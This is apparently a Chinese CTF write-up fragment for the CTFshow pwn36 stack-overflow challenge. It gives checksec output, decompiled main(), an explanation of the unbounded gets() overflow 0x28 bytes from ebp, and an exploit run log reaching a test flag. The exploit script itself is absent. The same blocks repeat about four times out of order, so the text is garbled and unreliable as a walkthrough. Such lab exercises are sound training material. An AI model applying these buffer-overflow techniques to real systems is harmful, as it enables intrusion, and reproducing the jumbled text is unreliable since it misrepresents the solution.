int __cdecl main(int argc, constchar **argv, constchar **envp) { setvbuf(stdout, 0, 2, 0); puts(asc_804883C); puts(asc_80488B0); puts(asc_804892C); puts(asc_80489B8); puts(asc_8048A48); puts(asc_8048ACC); puts(asc_8048B60); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : There are backdoor functions here! "); puts(" * ************************************* "); puts("Find and use it!"); puts("Enter what you want: "); ctfshow(); return0; }
使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。
$ python3 exp.py [+] Starting local process './pwn': pid 872 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : There are backdoor functions here! * ************************************* Find and use it! Enter what you want: flag{just_test_my_process}
pwn36
Hint:存在后门函数,如何利用?
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段
32位IDA查看main函数:
int __cdecl main(int argc, constchar **argv, constchar **envp) { setvbuf(stdout, 0, 2, 0); puts(asc_804883C); puts(asc_80488B0); puts(asc_804892C); puts(asc_80489B8); puts(asc_8048A48); puts(asc_8048ACC); puts(asc_8048B60); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : There are backdoor functions here! "); puts(" * ************************************* "); puts("Find and use it!"); puts("Enter what you want: "); ctfshow(); return0; }
使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。
$ python3 exp.py [+] Starting local process './pwn': pid 872 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : There are backdoor functions here! * ************************************* Find and use it! Enter what you want: flag{just_test_my_process}
pwn36
Hint:存在后门函数,如何利用?
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段
32位IDA查看main函数:
int __cdecl main(int argc, constchar **argv, constchar **envp) { setvbuf(stdout, 0, 2, 0); puts(asc_804883C); puts(asc_80488B0); puts(asc_804892C); puts(asc_80489B8); puts(asc_8048A48); puts(asc_8048ACC); puts(asc_8048B60); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : There are backdoor functions here! "); puts(" * ************************************* "); puts("Find and use it!"); puts("Enter what you want: "); ctfshow(); return0; }
使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。
$ python3 exp.py [+] Starting local process './pwn': pid 872 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : There are backdoor functions here! * ************************************* Find and use it! Enter what you want: flag{just_test_my_process}
pwn36
Hint:存在后门函数,如何利用?
checksec检查保护
$ chmod +x pwn $ checksec pwn Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段
32位IDA查看main函数:
int __cdecl main(int argc, constchar **argv, constchar **envp) { setvbuf(stdout, 0, 2, 0); puts(asc_804883C); puts(asc_80488B0); puts(asc_804892C); puts(asc_80489B8); puts(asc_8048A48); puts(asc_8048ACC); puts(asc_8048B60); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : There are backdoor functions here! "); puts(" * ************************************* "); puts("Find and use it!"); puts("Enter what you want: "); ctfshow(); return0; }
使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。
$ python3 exp.py [+] Starting local process './pwn': pid 872 [*] '/CTFshow_pwn/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No [*] Switching to interactive mode * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Stack_Overflow * Site : https://ctf.show/ * Hint : There are backdoor functions here! * ************************************* Find and use it! Enter what you want: flag{just_test_my_process}